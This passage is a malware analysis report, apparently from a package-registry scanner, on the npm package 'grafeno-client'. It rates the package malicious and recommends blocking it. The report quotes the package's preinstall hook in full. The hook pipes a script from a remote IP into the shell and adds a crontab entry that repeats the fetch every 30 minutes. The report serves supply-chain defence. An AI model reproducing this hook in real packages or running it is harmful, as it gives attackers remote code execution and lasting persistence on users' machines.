It also establishes recurring cron-based execution. - **Trigger:** npm installation activates the preinstall lifecycle hook. - **Impact:** An attacker controlling the remote payload can execute arbitrary commands and retain recurring execution on the installing host. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-28T22:56:58.823Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Remote shell execution followed by cron persistence. - **Attack narrative:** The package runs a shell command during preinstall that pipes a script fetched from 216.126.236.46 into Bash. It then alters the user's crontab to repeat that download-and-execute command every 30 minutes. This provides remote code execution and persistence before the package's normal runtime API is used. - **Rationale:** Direct source inspection confirms an automatic install hook that executes an unverified remote script and creates cron persistence. The benign-looking runtime stub does not mitigate this install-time attack. - **Files touched:** package.json - **Network endpoints:** 216.126.236.46/x.sh ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The preinstall hook downloads and executes a remote shell script without user action., The same hook adds a cron job that re-downloads and executes the remote script every 30 minutes., Errors are suppressed, which hides failed download and persistence attempts. - **Evidence against:** The runtime entry point is an inert minimal HTTP-client stub., No additional package source files were present. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook downloads and executes a remote shell script without user action. Public source snippet (untrusted): ```json "preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \\\"*/30 * * * * curl -s 216.126.236.46/x.sh|sh\\\")|crontab -',{shell:'/bin/bash'})}catch(c){}\" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** grafeno-client - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-08-28T22:47:56.252Z - **Package first seen:** 2026-08-28T22:56:58.823Z - **Package last seen:** 2026-08-28T22:56:58.823Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** HTTP client for Grafeno APIs - **Author:** devx@grafeno.digital - **Keywords:** grafeno, client, http - **Artifact files:** 2 - **Artifact unpacked size:** 649 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()
